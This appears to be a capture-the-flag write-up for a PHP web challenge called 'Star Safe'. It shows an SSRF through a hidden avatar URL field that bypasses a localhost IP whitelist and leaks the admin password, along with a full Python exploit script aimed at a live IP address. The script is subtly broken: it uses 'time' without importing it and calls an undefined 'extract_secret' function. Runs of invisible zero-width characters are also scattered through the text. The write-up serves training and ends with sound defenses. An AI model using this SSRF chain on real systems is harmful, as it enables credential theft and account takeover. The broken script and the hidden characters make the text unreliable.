← Back to Writeups
CUSTOMMediumWeb

Звездный сейф (Star Safe)

XESXOR9/2/20263 min read
#web#custom#medium#admin-secret-extraction-via-in#authentication-bypass-using-le#localhost-ip-whitelist-bypass#ssrf-via-avatar-url-field-duri

Звездный сейф (Star Safe)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Admin secret extraction via internal request, Authentication bypass using leaked credentials, Localhost IP whitelist bypass, SSRF via avatar URL field during registration

Summary

Walkthrough of the CUSTOM Web Звездный сейф (Star Safe). Task: PHP web application with avatar upload feature and admin panel. Solution: SSRF via hidden avatar URL field to bypass localhost IP whitelist and extract admin credentials from internal endpoint.

Description

Космическая палитра обманчива: между оттенками вселенной притаились неприметные лазейки

URL: http://62.173.140.174:16071

A ZIP archive with the application source code was provided.

Analysis

Application Structure

The application is a PHP web application with the following features:

  • User registration (register.php)
  • Authentication (login.php)
  • User profile view (user.php)
  • Avatar upload (avatar.php)
  • Admin panel (admin.php)

Vulnerability 1: SSRF in avatar.php

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In register.php there is a hidden avatar field that accepts an arbitrary URL:

php
// register.php - saves avatar URL to database
$avatar = $_POST['avatar'] ?? 'default.png';

In avatar.php this URL is fetched from the server:

php
$url = $stmt->fetchColumn();
if (!preg_match('/^https?:\/\//i', $url)) {
    $url = $default_avatar;
}
$data = file_get_contents($url);  // SSRF here!

The check only validates the http:// or https:// prefix — we can specify http://127.0.0.1/....

Vulnerability 2: Localhost Bypass in user.php

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
$allowed_ips = ['127.0.0.1', '::1'];
if (!in_array($_SERVER['REMOTE_ADDR'], $allowed_ips) && !isset($_SESSION['user_id']) || (...)) {
    die('Access denied');
}

If the request comes from localhost, the session check is skipped! We can get any user's secret.

Vulnerability 3: Admin Credentials in entrypoint.sh

bash
# entrypoint.sh
INSERT INTO users (id, username, password, secret) VALUES 
(1337, 'admin', '$ADMIN_PASSWORD', '$ADMIN_PASSWORD');

The admin (id=1337) has their password equal to their secret! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Registration with SSRF Payload

Register with an avatar URL pointing to the internal endpoint:

avatar=http://127.0.0.1/user.php?id=1337

Step 2: Trigger SSRF

Navigate to avatar.php — the server makes a request to http://127.0.0.1/user.php?id=1337 on its own behalf (with localhost IP).

Step 3: Obtain Admin Password

The response from user.php contains the admin's secret (which equals the password).

Step 4: Authenticate as Admin

Log in with the obtained password:

  • Username: admin
  • Password: <extracted_secret> ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Get the Flag

Navigate to admin.php — get the flag.

Exploit

python
#!/usr/bin/env python3
import requests
import re

BASE_URL = "http://62.173.140.174:16071"

# Step 1: Register with SSRF payload
session = requests.Session()
register_data = {
    "username": "attacker_" + str(int(time.time())),
    "password": "password123",
    "avatar": "http://127.0.0.1/user.php?id=1337"  # SSRF to get admin secret
}
session.post(f"{BASE_URL}/register.php", data=register_data)

# Step 2: Login as our user
session.post(f"{BASE_URL}/login.php", data={
    "username": register_data["username"],
    "password": register_data["password"]
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Trigger SSRF via avatar.php
response = session.get(f"{BASE_URL}/avatar.php")
# Response contains admin's secret (which is their password)

# Extract password from response
admin_password = extract_secret(response.text)

# Step 4: Login as admin
admin_session = requests.Session()
admin_session.post(f"{BASE_URL}/login.php", data={
    "username": "admin",
    "password": admin_password
})

# Step 5: Get flag from admin panel
flag_response = admin_session.get(f"{BASE_URL}/admin.php")
print(flag_response.text)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. URL Validation: Block internal IPs (127.0.0.1, 10.x.x.x, 192.168.x.x)
  2. Domain Whitelist: Allow only specific domains for avatars
  3. Don't Trust IP: Don't use IP-based access control for sensitive data
  4. Separate Secrets: Password should not be stored/used as other data

Lessons

  • SSRF is one of the most dangerous vulnerabilities, allowing network restriction bypass
  • Hidden fields in HTML forms do not provide security
  • IP whitelist for localhost is easily bypassed via SSRF
  • Always check entrypoint.sh and initialization scripts — they often contain credentials ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Admin secret extraction via internal request, Authentication bypass using leaked credentials, Localhost IP whitelist bypass, SSRF via avatar URL field during registration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Звездный сейф (Star Safe) • Difficulty: Medium